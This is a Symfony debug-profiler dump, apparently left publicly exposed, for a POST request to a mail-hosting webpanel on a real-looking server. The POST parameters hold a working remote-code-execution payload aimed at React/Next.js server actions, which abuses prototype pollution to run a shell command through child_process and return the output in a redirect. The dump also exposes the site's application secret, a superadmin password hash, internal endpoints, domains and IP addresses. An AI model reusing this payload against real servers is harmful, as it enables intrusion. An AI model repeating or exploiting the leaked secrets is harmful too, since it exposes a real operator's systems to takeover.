https://95.217.68.83/webpanel/panel

n/a

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0
"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a='+res+';307;'});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}"
1
""$@0""
2
"[]"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller
"App\Controller\QUserController::index"
_firewall_context
"security.firewall.map.context.main"
_route
"qu_main"
_route_params
[]
_security_firewall_run
"_security_main"
_stopwatch_token
"098330"

Request Headers

Header Value
accept-encoding
"gzip"
connection
"close"
content-length
"689"
content-type
"multipart/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad"
host
"95.217.68.83:443"
next-action
"1"
user-agent
"Go-http-client/1.1"
x-php-ob-level
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control
"no-cache, private"
content-type
"text/html; charset=utf-8"
date
"Fri, 20 Feb 2026 14:30:10 GMT"
location
"/webpanel/login"
x-debug-token
"cc83af"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session 1

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

1 Usages
Stateless check enabled
Usage
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:44
[
  [
    "file" => "/var/qpanel/php/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 44
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/scheb/2fa-bundle/Security/Http/Firewall/TwoFactorAccessListener.php"
    "line" => 59
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
    "line" => 49
    "function" => "authenticate"
    "class" => "Scheb\TwoFactorBundle\Security\Http\Firewall\TwoFactorAccessListener"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/security-http/Firewall/AbstractListener.php"
    "line" => 26
    "function" => "authenticate"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
    "line" => 60
    "function" => "__invoke"
    "class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
    "line" => 77
    "function" => "__invoke"
    "class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/security-http/Firewall.php"
    "line" => 92
    "function" => "callListeners"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 118
    "function" => "onKernelRequest"
    "class" => "Symfony\Component\Security\Http\Firewall"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 230
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 59
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 154
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 139
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 75
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/vendor/symfony/http-kernel/Kernel.php"
    "line" => 202
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/qpanel/php/public/index.php"
    "line" => 28
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
API_ENDPOINT
"https://127.0.0.1:7879/api/"
APP_2FA_ALLOWED
"false"
APP_ALLOWED_SERVICES_ALLOWED
"false"
APP_ALLOW_CLEAR_PASS
"false"
APP_AUTOOPT_MSGLIMIT
"1"
APP_AUTOOPT_NUMLINES
"1"
APP_AUTOOPT_SUBJECT_PREFIX
"Re:"
APP_AUTOOPT_TIMELIMIT
"604800"
APP_AUTO_DISALLOW_OWN_PREFIX
"false"
APP_CATCHALL_ALLOWED
"false"
APP_DEFAULT_DOMAIN
"auranox.net"
APP_DEFAULT_MAX_EXTERNAL_FORWARDS
"2"
APP_DEFAULT_MAX_FORWARDS
"10"
APP_DEFAULT_PASS_COMPLEXITY
"4"
APP_DEFAULT_PER_PAGE
"10"
APP_DEFAULT_QUOTA
"100"
APP_DOMAIN_SPAM_ALLOWED
"false"
APP_ENV
"dev"
APP_FILTERS_HISTORY_ALLOWED
"false"
APP_GLOBAL_ALIAS_ALLOWED
"false"
APP_INSIDE_LANGUAGE_SHOW
"false"
APP_LOGIN_LANGUAGE_SHOW
"false"
APP_LOGIN_TARGET_MSG
"false"
APP_NEW_ACCOUNTS_LIMIT
"100"
APP_NEW_ALIASES_LIMIT
"10"
APP_QU_AUTORESPONDER_ALLOWED
"true"
APP_QU_FORWARDING_ALLOWED
"true"
APP_QU_IMAP_ALLOWED
"true"
APP_QU_LOGIN_HISTORY_ALLOWED
"true"
APP_QU_NOTICE_SMS_ALLOWED
"true"
APP_QU_OPERATION_HISTORY_ALLOWED
"true"
APP_QU_PASSWORD_ALLOWED
"true"
APP_QU_PROCMAIL_ALLOWED
"true"
APP_QU_SA_ALLOWED
"true"
APP_QU_SETTINGS_ALLOWED
"true"
APP_SECRET
"468f7a59d42b3feed4de19127b9228ba"
APP_SYSTEM_ALIASES
"[dns, admin, dmarc]"
AVAILABLE_LANGUAGES
"[pl]"
AVAILABLE_SKINS
"[raw]"
DATABASE_URL
"mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
DEFAULT_SKIN
"raw"
DONT_FORCE_LANG_ROUNDCUBE
"true"
MAILER_DSN
"smtp://user:pass@smtp.example.com:25"
MAILER_FROM
"admin@auranox.net"
MAILER_RETURN_PATH
"admin@auranox.net"
MAILER_URL
"sendmail://localhost"
MONGO_COLLECTION
"logs"
MONGO_DB
"qmailux"
MONGO_SERVER
"mongodb://localhost:27017/?serverSelectionTimeoutMS=3000"
QMAILUX_SERVER_ENDPOINT
"http://test10.qmailux.pl:7880"
ROUNDCUBE_INTERNAL_URL
"https://local_internal/roundcube/"
ROUNDCUBE_URL
"https://mail.auranox.net:443/roundcube/"
SUPERADMIN_HASH
"$2y$10$.zpmm8xyQBgzIMPCfszMZOiIA968ULP/wk9yfKilGqrOtY3/hqsQu"

Defined as regular env variables

Key Value
APP_DEBUG
"1"
BASE
"/webpanel"
CONTENT_LENGTH
"689"
CONTENT_TYPE
"multipart/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad"
CONTEXT_DOCUMENT_ROOT
"/var/www/qmailux"
CONTEXT_PREFIX
""
DOCUMENT_ROOT
"/var/www/qmailux"
FCGI_ROLE
"RESPONDER"
GATEWAY_INTERFACE
"CGI/1.1"
HOME
"/var/www"
HTTPS
"on"
HTTP_ACCEPT_ENCODING
"gzip"
HTTP_CONNECTION
"close"
HTTP_HOST
"95.217.68.83:443"
HTTP_NEXT_ACTION
"1"
HTTP_USER_AGENT
"Go-http-client/1.1"
PATH
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHP_SELF
"/webpanel/index.php"
QUERY_STRING
""
REDIRECT_BASE
"/webpanel"
REDIRECT_HTTPS
"on"
REDIRECT_SCRIPT_URI
"https://95.217.68.83/webpanel/panel"
REDIRECT_SCRIPT_URL
"/webpanel/panel"
REDIRECT_STATUS
"200"
REDIRECT_URL
"/webpanel/panel"
REMOTE_ADDR
"64.89.161.198"
REMOTE_PORT
"34568"
REQUEST_METHOD
"POST"
REQUEST_SCHEME
"https"
REQUEST_TIME
1771597810
REQUEST_TIME_FLOAT
1771597810.5358
REQUEST_URI
"/webpanel/panel"
SCRIPT_FILENAME
"/var/www/qmailux/webpanel/index.php"
SCRIPT_NAME
"/webpanel/index.php"
SCRIPT_URI
"https://95.217.68.83/webpanel/panel"
SCRIPT_URL
"/webpanel/panel"
SERVER_ADDR
"95.217.68.83"
SERVER_ADMIN
"postmaster@auranox.pl"
SERVER_NAME
"95.217.68.83"
SERVER_PORT
"443"
SERVER_PROTOCOL
"HTTP/1.1"
SERVER_SIGNATURE
"<address>Apache/2.4.65 (Debian) Server at 95.217.68.83 Port 443</address>\n"
SERVER_SOFTWARE
"Apache/2.4.65 (Debian)"
SYMFONY_DOTENV_VARS
"APP_ENV,APP_SECRET,MAILER_URL,DATABASE_URL,SUPERADMIN_HASH,API_ENDPOINT,ROUNDCUBE_URL,ROUNDCUBE_INTERNAL_URL,APP_DEFAULT_DOMAIN,APP_NEW_ACCOUNTS_LIMIT,APP_ALLOW_CLEAR_PASS,AVAILABLE_SKINS,DEFAULT_SKIN,AVAILABLE_LANGUAGES,MONGO_SERVER,MONGO_DB,MONGO_COLLECTION,MAILER_RETURN_PATH,MAILER_FROM,APP_GLOBAL_ALIAS_ALLOWED,APP_DOMAIN_SPAM_ALLOWED,APP_ALLOWED_SERVICES_ALLOWED,APP_FILTERS_HISTORY_ALLOWED,APP_CATCHALL_ALLOWED,APP_LOGIN_TARGET_MSG,APP_NEW_ALIASES_LIMIT,APP_DEFAULT_MAX_FORWARDS,APP_DEFAULT_MAX_EXTERNAL_FORWARDS,APP_DEFAULT_PER_PAGE,APP_DEFAULT_QUOTA,APP_AUTOOPT_TIMELIMIT,APP_AUTOOPT_MSGLIMIT,APP_AUTOOPT_NUMLINES,APP_AUTOOPT_SUBJECT_PREFIX,APP_AUTO_DISALLOW_OWN_PREFIX,APP_SYSTEM_ALIASES,APP_QU_IMAP_ALLOWED,APP_QU_AUTORESPONDER_ALLOWED,APP_QU_FORWARDING_ALLOWED,APP_QU_SA_ALLOWED,APP_QU_NOTICE_SMS_ALLOWED,APP_QU_PASSWORD_ALLOWED,APP_QU_PROCMAIL_ALLOWED,APP_QU_SETTINGS_ALLOWED,APP_QU_OPERATION_HISTORY_ALLOWED,APP_QU_LOGIN_HISTORY_ALLOWED,APP_LOGIN_LANGUAGE_SHOW,APP_INSIDE_LANGUAGE_SHOW,DONT_FORCE_LANG_ROUNDCUBE,QMAILUX_SERVER_ENDPOINT,MAILER_DSN,APP_2FA_ALLOWED,APP_DEFAULT_PASS_COMPLEXITY"
USER
"www-data"
proxy-nokeepalive
"1"